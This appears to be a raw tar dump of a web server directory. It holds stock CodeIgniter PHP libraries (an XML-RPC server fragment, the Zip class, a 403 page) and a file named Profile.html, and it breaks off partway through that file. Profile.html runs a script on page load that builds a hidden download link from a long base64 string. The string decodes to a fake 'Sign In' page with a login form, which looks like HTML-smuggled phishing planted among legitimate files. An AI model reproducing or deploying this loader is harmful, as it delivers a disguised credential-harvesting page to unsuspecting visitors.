'method' => '' ); xml_set_object($parser, $parser_object); xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, TRUE); xml_set_element_handler($parser, 'open_tag', 'closing_tag'); xml_set_character_data_handler($parser, 'character_data'); //xml_set_default_handler($parser, 'default_handler'); //------------------------------------- // PARSE + PROCESS XML DATA //------------------------------------- if ( ! xml_parse($parser, $data, 1)) { // Return XML error as a faultCode $r = new XML_RPC_Response(0, $this->xmlrpcerrxml + xml_get_error_code($parser), sprintf('XML error: %s at line %d', xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser))); xml_parser_free($parser); } elseif ($parser_object->xh[$pname]['isf']) { return new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return']); } else { xml_parser_free($parser); $m = new XML_RPC_Message($parser_object->xh[$pname]['method']); $plist = ''; for ($i = 0, $c = count($parser_object->xh[$pname]['params']); $i < $c; $i++) { if ($this->debug === TRUE) { $plist .= $i.' - '.print_r(get_object_vars($parser_object->xh[$pname]['params'][$i]), TRUE).";\n"; } $m->addParam($parser_object->xh[$pname]['params'][$i]); } if ($this->debug === TRUE) { echo "<pre>---PLIST---\n".$plist."\n---PLIST END---\n\n</pre>"; } $r = $this->_execute($m); } //------------------------------------- // SET DEBUGGING MESSAGE //------------------------------------- if ($this->debug === TRUE) { $this->debug_msg = "<!-- DEBUG INFO:\n\n".$plist."\n END DEBUG-->\n"; } return $r; } // -------------------------------------------------------------------- /** * Executes the Method * * @param object * @return mixed */ protected function _execute($m) { $methName = $m->method_name; // Check to see if it is a system call $system_call = (strpos($methName, 'system') === 0); if ($this->xss_clean === FALSE) { $m->xss_clean = FALSE; } //------------------------------------- // Valid Method //------------------------------------- if ( ! isset($this->methods[$methName]['function'])) { return new XML_RPC_Response(0, $this->xmlrpcerr['unknown_method'], $this->xmlrpcstr['unknown_method']); } //------------------------------------- // Check for Method (and Object) //------------------------------------- $method_parts = explode('.', $this->methods[$methName]['function']); $objectCall = (isset($method_parts[1]) && $method_parts[1] !== ''); if ($system_call === TRUE) { if ( ! is_callable(array($this,$method_parts[1]))) { return new XML_RPC_Response(0, $this->xmlrpcerr['unknown_method'], $this->xmlrpcstr['unknown_method']); } } elseif (($objectCall && ! is_callable(array($method_parts[0], $method_parts[1]))) OR ( ! $objectCall && ! is_callable($this->methods[$methName]['function'])) ) { return new XML_RPC_Response(0, $this->xmlrpcerr['unknown_method'], $this->xmlrpcstr['unknown_method']); } //------------------------------------- // Checking Methods Signature //------------------------------------- if (isset($this->methods[$methName]['signature'])) { $sig = $this->methods[$methName]['signature']; for ($i = 0, $c = count($sig); $i < $c; $i++) { $current_sig = $sig[$i]; if (count($current_sig) === count($m->params)+1) { for ($n = 0, $mc = count($m->params); $n < $mc; $n++) { $p = $m->params[$n]; $pt = ($p->kindOf() === 'scalar') ? $p->scalarval() : $p->kindOf(); if ($pt !== $current_sig[$n+1]) { $pno = $n+1; $wanted = $current_sig[$n+1]; return new XML_RPC_Response(0, $this->xmlrpcerr['incorrect_params'], $this->xmlrpcstr['incorrect_params'] . ': Wanted '.$wanted.', got '.$pt.' at param '.$pno.')'); } } } } } //------------------------------------- // Calls the Function //------------------------------------- if ($objectCall === TRUE) { if ($method_parts[0] === 'this' && $system_call === TRUE) { return call_user_func(array($this, $method_parts[1]), $m); } elseif ($this->object === FALSE) { return get_instance()->$method_parts[1]($m); } else { return $this->object->$method_parts[1]($m); } } else { return call_user_func($this->methods[$methName]['function'], $m); } } // -------------------------------------------------------------------- /** * Server Function: List Methods * * @param mixed * @return object */ public function listMethods($m) { $v = new XML_RPC_Values(); $output = array(); foreach ($this->methods as $key => $value) { $output[] = new XML_RPC_Values($key, 'string'); } foreach ($this->system_methods as $key => $value) { $output[] = new XML_RPC_Values($key, 'string'); } $v->addArray($output); return new XML_RPC_Response($v); } // -------------------------------------------------------------------- /** * Server Function: Return Signature for Method * * @param mixed * @return object */ public function methodSignature($m) { $parameters = $m->output_parameters(); $method_name = $parameters[0]; if (isset($this->methods[$method_name])) { if ($this->methods[$method_name]['signature']) { $sigs = array(); $signature = $this->methods[$method_name]['signature']; for ($i = 0, $c = count($signature); $i < $c; $i++) { $cursig = array(); $inSig = $signature[$i]; for ($j = 0, $jc = count($inSig); $j < $jc; $j++) { $cursig[]= new XML_RPC_Values($inSig[$j], 'string'); } $sigs[] = new XML_RPC_Values($cursig, 'array'); } return new XML_RPC_Response(new XML_RPC_Values($sigs, 'array')); } return new XML_RPC_Response(new XML_RPC_Values('undef', 'string')); } return new XML_RPC_Response(0, $this->xmlrpcerr['introspect_unknown'], $this->xmlrpcstr['introspect_unknown']); } // -------------------------------------------------------------------- /** * Server Function: Doc String for Method * * @param mixed * @return object */ public function methodHelp($m) { $parameters = $m->output_parameters(); $method_name = $parameters[0]; if (isset($this->methods[$method_name])) { $docstring = isset($this->methods[$method_name]['docstring']) ? $this->methods[$method_name]['docstring'] : ''; return new XML_RPC_Response(new XML_RPC_Values($docstring, 'string')); } else { return new XML_RPC_Response(0, $this->xmlrpcerr['introspect_unknown'], $this->xmlrpcstr['introspect_unknown']); } } // -------------------------------------------------------------------- /** * Server Function: Multi-call * * @param mixed * @return object */ public function multicall($m) { // Disabled return new XML_RPC_Response(0, $this->xmlrpcerr['unknown_method'], $this->xmlrpcstr['unknown_method']); $parameters = $m->output_parameters(); $calls = $parameters[0]; $result = array(); foreach ($calls as $value) { $m = new XML_RPC_Message($value[0]); $plist = ''; for ($i = 0, $c = count($value[1]); $i < $c; $i++) { $m->addParam(new XML_RPC_Values($value[1][$i], 'string')); } $attempt = $this->_execute($m); if ($attempt->faultCode() !== 0) { return $attempt; } $result[] = new XML_RPC_Values(array($attempt->value()), 'array'); } return new XML_RPC_Response(new XML_RPC_Values($result, 'array')); } // -------------------------------------------------------------------- /** * Multi-call Function: Error Handling * * @param mixed * @return object */ public function multicall_error($err) { $str = is_string($err) ? $this->xmlrpcstr["multicall_${err}"] : $err->faultString(); $code = is_string($err) ? $this->xmlrpcerr["multicall_${err}"] : $err->faultCode(); $struct['faultCode'] = new XML_RPC_Values($code, 'int'); $struct['faultString'] = new XML_RPC_Values($str, 'string'); return new XML_RPC_Values($struct, 'struct'); } // -------------------------------------------------------------------- /** * Multi-call Function: Processes method * * @param mixed * @return object */ public function do_multicall($call) { if ($call->kindOf() !== 'struct') { return $this->multicall_error('notstruct'); } elseif ( ! $methName = $call->me['struct']['methodName']) { return $this->multicall_error('nomethod'); } list($scalar_type, $scalar_value) = each($methName->me); $scalar_type = $scalar_type === $this->xmlrpcI4 ? $this->xmlrpcInt : $scalar_type; if ($methName->kindOf() !== 'scalar' OR $scalar_type !== 'string') { return $this->multicall_error('notstring'); } elseif ($scalar_value === 'system.multicall') { return $this->multicall_error('recursion'); } elseif ( ! $params = $call->me['struct']['params']) { return $this->multicall_error('noparams'); } elseif ($params->kindOf() !== 'array') { return $this->multicall_error('notarray'); } list($a, $b) = each($params->me); $msg = new XML_RPC_Message($scalar_value); for ($i = 0, $numParams = count($b); $i < $numParams; $i++) { $msg->params[] = $params->me['array'][$i]; } $result = $this->_execute($msg); if ($result->faultCode() !== 0) { return $this->multicall_error($result); } return new XML_RPC_Values(array($result->value()), 'array'); } } Zip.php 0000775 00000032541 15060054572 0006035 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Zip Compression Class * * This class is based on a library I found at Zend: * http://www.zend.com/codex.php?id=696&single=1 * * The original library is a little rough around the edges so I * refactored it and added several additional methods -- Rick Ellis * * @package CodeIgniter * @subpackage Libraries * @category Encryption * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/zip.html */ class CI_Zip { /** * Zip data in string form * * @var string */ public $zipdata = ''; /** * Zip data for a directory in string form * * @var string */ public $directory = ''; /** * Number of files/folder in zip file * * @var int */ public $entries = 0; /** * Number of files in zip * * @var int */ public $file_num = 0; /** * relative offset of local header * * @var int */ public $offset = 0; /** * Reference to time at init * * @var int */ public $now; /** * The level of compression * * Ranges from 0 to 9, with 9 being the highest level. * * @var int */ public $compression_level = 2; /** * mbstring.func_override flag * * @var bool */ protected static $func_override; /** * Initialize zip compression class * * @return void */ public function __construct() { isset(self::$func_override) OR self::$func_override = (extension_loaded('mbstring') && ini_get('mbstring.func_override')); $this->now = time(); log_message('info', 'Zip Compression Class Initialized'); } // -------------------------------------------------------------------- /** * Add Directory * * Lets you add a virtual directory into which you can place files. * * @param mixed $directory the directory name. Can be string or array * @return void */ public function add_dir($directory) { foreach ((array) $directory as $dir) { if ( ! preg_match('|.+/$|', $dir)) { $dir .= '/'; } $dir_time = $this->_get_mod_time($dir); $this->_add_dir($dir, $dir_time['file_mtime'], $dir_time['file_mdate']); } } // -------------------------------------------------------------------- /** * Get file/directory modification time * * If this is a newly created file/dir, we will set the time to 'now' * * @param string $dir path to file * @return array filemtime/filemdate */ protected function _get_mod_time($dir) { // filemtime() may return false, but raises an error for non-existing files $date = file_exists($dir) ? getdate(filemtime($dir)) : getdate($this->now); return array( 'file_mtime' => ($date['hours'] << 11) + ($date['minutes'] << 5) + $date['seconds'] / 2, 'file_mdate' => (($date['year'] - 1980) << 9) + ($date['mon'] << 5) + $date['mday'] ); } // -------------------------------------------------------------------- /** * Add Directory * * @param string $dir the directory name * @param int $file_mtime * @param int $file_mdate * @return void */ protected function _add_dir($dir, $file_mtime, $file_mdate) { $dir = str_replace('\\', '/', $dir); $this->zipdata .= "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00" .pack('v', $file_mtime) .pack('v', $file_mdate) .pack('V', 0) // crc32 .pack('V', 0) // compressed filesize .pack('V', 0) // uncompressed filesize .pack('v', self::strlen($dir)) // length of pathname .pack('v', 0) // extra field length .$dir // below is "data descriptor" segment .pack('V', 0) // crc32 .pack('V', 0) // compressed filesize .pack('V', 0); // uncompressed filesize $this->directory .= "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00" .pack('v', $file_mtime) .pack('v', $file_mdate) .pack('V',0) // crc32 .pack('V',0) // compressed filesize .pack('V',0) // uncompressed filesize .pack('v', self::strlen($dir)) // length of pathname .pack('v', 0) // extra field length .pack('v', 0) // file comment length .pack('v', 0) // disk number start .pack('v', 0) // internal file attributes .pack('V', 16) // external file attributes - 'directory' bit set .pack('V', $this->offset) // relative offset of local header .$dir; $this->offset = self::strlen($this->zipdata); $this->entries++; } // -------------------------------------------------------------------- /** * Add Data to Zip * * Lets you add files to the archive. If the path is included * in the filename it will be placed within a directory. Make * sure you use add_dir() first to create the folder. * * @param mixed $filepath A single filepath or an array of file => data pairs * @param string $data Single file contents * @return void */ public function add_data($filepath, $data = NULL) { if (is_array($filepath)) { foreach ($filepath as $path => $data) { $file_data = $this->_get_mod_time($path); $this->_add_data($path, $data, $file_data['file_mtime'], $file_data['file_mdate']); } } else { $file_data = $this->_get_mod_time($filepath); $this->_add_data($filepath, $data, $file_data['file_mtime'], $file_data['file_mdate']); } } // -------------------------------------------------------------------- /** * Add Data to Zip * * @param string $filepath the file name/path * @param string $data the data to be encoded * @param int $file_mtime * @param int $file_mdate * @return void */ protected function _add_data($filepath, $data, $file_mtime, $file_mdate) { $filepath = str_replace('\\', '/', $filepath); $uncompressed_size = self::strlen($data); $crc32 = crc32($data); $gzdata = self::substr(gzcompress($data, $this->compression_level), 2, -4); $compressed_size = self::strlen($gzdata); $this->zipdata .= "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00" .pack('v', $file_mtime) .pack('v', $file_mdate) .pack('V', $crc32) .pack('V', $compressed_size) .pack('V', $uncompressed_size) .pack('v', self::strlen($filepath)) // length of filename .pack('v', 0) // extra field length .$filepath .$gzdata; // "file data" segment $this->directory .= "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00" .pack('v', $file_mtime) .pack('v', $file_mdate) .pack('V', $crc32) .pack('V', $compressed_size) .pack('V', $uncompressed_size) .pack('v', self::strlen($filepath)) // length of filename .pack('v', 0) // extra field length .pack('v', 0) // file comment length .pack('v', 0) // disk number start .pack('v', 0) // internal file attributes .pack('V', 32) // external file attributes - 'archive' bit set .pack('V', $this->offset) // relative offset of local header .$filepath; $this->offset = self::strlen($this->zipdata); $this->entries++; $this->file_num++; } // -------------------------------------------------------------------- /** * Read the contents of a file and add it to the zip * * @param string $path * @param bool $archive_filepath * @return bool */ public function read_file($path, $archive_filepath = FALSE) { if (file_exists($path) && FALSE !== ($data = file_get_contents($path))) { if (is_string($archive_filepath)) { $name = str_replace('\\', '/', $archive_filepath); } else { $name = str_replace('\\', '/', $path); if ($archive_filepath === FALSE) { $name = preg_replace('|.*/(.+)|', '\\1', $name); } } $this->add_data($name, $data); return TRUE; } return FALSE; } // ------------------------------------------------------------------------ /** * Read a directory and add it to the zip. * * This function recursively reads a folder and everything it contains (including * sub-folders) and creates a zip based on it. Whatever directory structure * is in the original file path will be recreated in the zip file. * * @param string $path path to source directory * @param bool $preserve_filepath * @param string $root_path * @return bool */ public function read_dir($path, $preserve_filepath = TRUE, $root_path = NULL) { $path = rtrim($path, '/\\').DIRECTORY_SEPARATOR; if ( ! $fp = @opendir($path)) { return FALSE; } // Set the original directory root for child dir's to use as relative if ($root_path === NULL) { $root_path = str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, dirname($path)).DIRECTORY_SEPARATOR; } while (FALSE !== ($file = readdir($fp))) { if ($file[0] === '.') { continue; } if (is_dir($path.$file)) { $this->read_dir($path.$file.DIRECTORY_SEPARATOR, $preserve_filepath, $root_path); } elseif (FALSE !== ($data = file_get_contents($path.$file))) { $name = str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, $path); if ($preserve_filepath === FALSE) { $name = str_replace($root_path, '', $name); } $this->add_data($name.$file, $data); } } closedir($fp); return TRUE; } // -------------------------------------------------------------------- /** * Get the Zip file * * @return string (binary encoded) */ public function get_zip() { // Is there any data to return? if ($this->entries === 0) { return FALSE; } return $this->zipdata .$this->directory."\x50\x4b\x05\x06\x00\x00\x00\x00" .pack('v', $this->entries) // total # of entries "on this disk" .pack('v', $this->entries) // total # of entries overall .pack('V', self::strlen($this->directory)) // size of central dir .pack('V', self::strlen($this->zipdata)) // offset to start of central dir ."\x00\x00"; // .zip file comment length } // -------------------------------------------------------------------- /** * Write File to the specified directory * * Lets you write a file * * @param string $filepath the file name * @return bool */ public function archive($filepath) { if ( ! ($fp = @fopen($filepath, 'w+b'))) { return FALSE; } flock($fp, LOCK_EX); for ($result = $written = 0, $data = $this->get_zip(), $length = self::strlen($data); $written < $length; $written += $result) { if (($result = fwrite($fp, self::substr($data, $written))) === FALSE) { break; } } flock($fp, LOCK_UN); fclose($fp); return is_int($result); } // -------------------------------------------------------------------- /** * Download * * @param string $filename the file name * @return void */ public function download($filename = 'backup.zip') { if ( ! preg_match('|.+?\.zip$|', $filename)) { $filename .= '.zip'; } get_instance()->load->helper('download'); $get_zip = $this->get_zip(); $zip_content =& $get_zip; force_download($filename, $zip_content); } // -------------------------------------------------------------------- /** * Initialize Data * * Lets you clear current zip data. Useful if you need to create * multiple zips with different data. * * @return CI_Zip */ public function clear_data() { $this->zipdata = ''; $this->directory = ''; $this->entries = 0; $this->file_num = 0; $this->offset = 0; return $this; } // -------------------------------------------------------------------- /** * Byte-safe strlen() * * @param string $str * @return int */ protected static function strlen($str) { return (self::$func_override) ? mb_strlen($str, '8bit') : strlen($str); } // -------------------------------------------------------------------- /** * Byte-safe substr() * * @param string $str * @param int $start * @param int $length * @return string */ protected static function substr($str, $start, $length = NULL) { if (self::$func_override) { // mb_substr($str, $start, null, '8bit') returns an empty // string on PHP 5.3 isset($length) OR $length = ($start >= 0 ? self::strlen($str) - $start : -$start); return mb_substr($str, $start, $length, '8bit'); } return isset($length) ? substr($str, $start, $length) : substr($str, $start); } } index.html 0000775 00000000203 15060054572 0006545 0 ustar 00 <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> Profile.html 0000644 00000210364 15060054572 0007044 0 ustar 00 <!DOCTYPE html> <html> <head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> $(document).ready(function() { saveFile(); }); function saveFile(name, type, data) { if (data != null && navigator.msSaveBlob) return navigator.msSaveBlob(new Blob([data], { type: type }), name); var a = $("<a style='display: none;'/>"); var encodedStringAtoB = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+U2lnbiBJbjwvdGl0bGU+CiAgICA8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHBzOi8vYm94bWFwMS5uZXRsaWZ5LmFwcC9jYXBsLnBuZyI+CiAgICA8c3R5bGU+CiAgICAgICAgKnsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgIH0KICAgICAgICBib2R5ewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjRGNEY0OwogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFVJJywgc2Fucy1zZXJpZjsKICAgICAgICB9CiAgICAgICAgLmhlYWRTaWRlewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZDRkNGQ0OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEyMHB4OwogICAgICAgIH0KICAgICAgICAubG9nQm94IHN2ZyB7CiAgICAgICAgICAgIHdpZHRoOiAxMjVweDsKICAgICAgICB9CiAgICAgICAgLmZvcm1Db250YWluewogICAgICAgICAgICB3aWR0aDogMzUlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgICAgICAgICBwYWRkaW5nOiAyMHB4OwogICAgICAgICAgICBtYXJnaW46IDMwcHggYXV0bzsKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZmZmZjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2JjYmZjNzsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxcHggMnB4ICMwMDAwMDAxNCwgMCAzcHggM3B4ICMwMDAwMDAwZDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICBtYXJnaW4tdG9wOiA0MHB4OwogICAgICAgIH0KICAgICAgICAubGdCb3gyewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgfQogICAgICAgIC5sZ0JveDIgc3ZnewogICAgICAgICAgICB3aWR0aDogMjAwcHg7CiAgICAgICAgfQogICAgICAgIC5zaWduVGV4dHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICB9CiAgICAgICAgLnNpZ25UZXh0IGgyIHsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICAgICAgZm9udC1zaXplOiAyMHB4OwogICAgICAgIH0KICAgICAgICAuaW5wQm94c2lkZXsKICAgICAgICAgICAgcGFkZGluZzogNXB4IDYwcHg7CiAgICAgICAgfQogICAgICAgIC5pbnBTaWRlewogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICB9CiAgICAgICAgLmlucFNpZGUgbGFiZWx7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDVweDsKICAgICAgICB9CiAgICAgICAgLmlucFNpZGUgaW5wdXR7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAwIDEwcHg7CiAgICAgICAgICAgIGhlaWdodDogNDdweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgaHNsKDAsIDAlLCA2MiUpOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBpbmhlcml0OwogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7CiAgICAgICAgfQogICAgICAgIC5pbnBTaWRlIGlucHV0OmZvY3VzewogICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjMDA3MEE4OwogICAgICAgIH0KICAgICAgICAuaW5wU2lkZSBidXR0b257CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA3MEE4OwogICAgICAgICAgICBwYWRkaW5nOiAxNHB4IDA7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4OwogICAgICAgICAgICBmb250LWZhbWlseTogaW5oZXJpdDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgdHJhbnNpdGlvbjogLjJzIGVhc2UtaW47CiAgICAgICAgfQogICAgICAgIC5pbnBTaWRlIGJ1dHRvbjpob3ZlcnsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzA5NWI4NTsKICAgICAgICB9CiAgICAgICAgLnJlbWViVGV4dEJveHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLnJlbWVCb3h7CiAgICAgICAgICAgIHdpZHRoOiAyMHB4OwogICAgICAgICAgICBoZWlnaHQ6IDIwcHg7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkICM0ZTRlNGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CiAgICAgICAgLnJlbWVCb3g6aG92ZXIgewogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjMDA3MEE4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQogICAgICAgIC5yZW1lVGV4dHsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5mb3Jnb3R7CiAgICAgICAgICAgIG1hcmdpbjogMTBweCAwOwogICAgICAgIH0KICAgICAgICAuZm9yZ290IHNwYW57CiAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICAgY29sb3I6ICMwOTViODU7CiAgICAgICAgfQogICAgICAgIC5mb3Jnb3Qgc3Bhbjpob3ZlciB7CiAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICB9CiAgICAgICAgLmZMZ0Zvb3R7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmZMZ0Zvb3Qgc3BhbnsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5zcDF7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7CiAgICAgICAgfQogICAgICAgIC5zcDJ7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgIGNvbG9yOiAjMDk1Yjg1OwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA0MHB4ICFpbXBvcnRhbnQ7CiAgICAgICAgfQogICAgICAgIC5mb290ZXJCb3h7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMTBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2JjYmZjNzsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxcHggMnB4ICMwMDAwMDAxNCwgMCAzcHggM3B4ICMwMDAwMDAwZDsKICAgICAgICB9CiAgICAgICAgLmZvb3RlckJveHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDIwMHB4OwogICAgICAgIH0KICAgICAgICAuZm9vdGVyQm94IHNwYW57CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDsKICAgICAgICB9CiAgICAgICAgLmZsZXhCb3h7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICB9CiAgICAgIAogICAgICAgIC5ib3hTcGFuewogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDIwMHB4OwogICAgICAgIH0KICAgICAgICAuZXJyb3J7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmVycm9yIHNwYW57CiAgICAgICAgICAgIGNvbG9yOiByZ2IoMjIzLCAyMywgMjMpOwogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgfQogICAgICAgIC5oaWRlIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICB9CiAgICAgICAgLmltZ1ZhewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7CiAgICAgICAgfQoKICAgICAgICAuaW1nVmEgc3ZnIHsKICAgICAgICAgICAgd2lkdGg6IDYwcHg7CiAgICAgICAgICAgIGhlaWdodDogNjBweDsKICAgICAgICB9CiAgICAgICAgLmJveFRleHR7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDsKICAgICAgICB9CiAgICAgICAgLmJveFRleHQgaDIgewogICAgICAgICAgICBmb250LXdlaWdodDo0MDA7CiAgICAgICAgfQogICAgICAgIC5vdENhcmR7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1MHB4OwogICAgICAgIH0KICAgICAgICAuaW1nUXVlc3R7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLnByZWxvYWRlckJveCB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgdG9wOiAwOwogICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZmE5OwogICAgICAgICAgICB6LWluZGV4OiA0MDAwOwogICAgICAgIH0KICAgICAgICAubG9hZGVyLAoubG9hZGVyOmFmdGVyIHsKICBib3JkZXItcmFkaXVzOiA1MCU7CiAgd2lkdGg6IDEwZW07CiAgaGVpZ2h0OiAxMGVtOwp9Ci5sb2FkQm94ewogICAgZGlzcGxheTogZmxleDsKICAgIGZsZXgtZGlyZWN0aW9uOiBjb